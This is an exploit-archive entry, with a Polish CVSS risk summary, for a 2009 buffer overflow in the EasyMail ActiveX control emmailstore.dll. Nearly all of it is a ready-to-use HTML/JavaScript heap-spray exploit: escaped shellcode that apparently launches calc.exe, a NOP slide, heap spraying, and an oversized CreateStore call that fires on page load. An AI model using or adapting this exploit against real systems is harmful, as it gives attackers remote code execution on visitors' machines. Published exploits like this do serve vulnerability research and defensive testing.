EasyMail ActiveX (emmailstore.dll 6.5.0.3) Buffer Overflow Exploit

2009.03.13
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

################ EasyMail ActiveX Heap Spray Exploit ############ By: e.wiZz! & shinnai Site: infected.blogger.ba & shinnai.net #######Info: ######################################### CompanyName Quiksoft Corporation FileDescription EasyMail MailStore Object FileVersion 6, 5, 0, 3 Vulnerable file emmailstore.dll <html> <script language="JavaScript" defer> var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); var sSlide = unescape("%u9090%u9090"); var heapSA = 0x0c0c0c0c; function tryMe() { var buffSize = 3000; var x = unescape("%0c%0c%0c%0c"); while (x.length<buffSize) x += x; x = x.substring(0,buffSize); boom.CreateStore(x, 1); } function getsSlide(sSlide, sSlideSize) { while (sSlide.length*2<sSlideSize) { sSlide += sSlide; } sSlide = sSlide.substring(0,sSlideSize/2); return (sSlide); } var heapBS = 0x400000; var sizeHDM = 0x5; var PLSize = (sCode.length * 2); var sSlideSize = heapBS - (PLSize + sizeHDM); var heapBlocks = (heapSA+heapBS)/heapBS; var memory = new Array(); sSlide = getsSlide(sSlide,sSlideSize); for (i=0;i<heapBlocks;i++) { memory[i] = sSlide + sCode; } </script> <body onload="JavaScript: return tryMe();"> <object id="boom" classid="clsid:5B8BE023-76A2-4F6D-8993-F7E588D79D98"> By e.wiZz! & shinnai </object> </body> </html>


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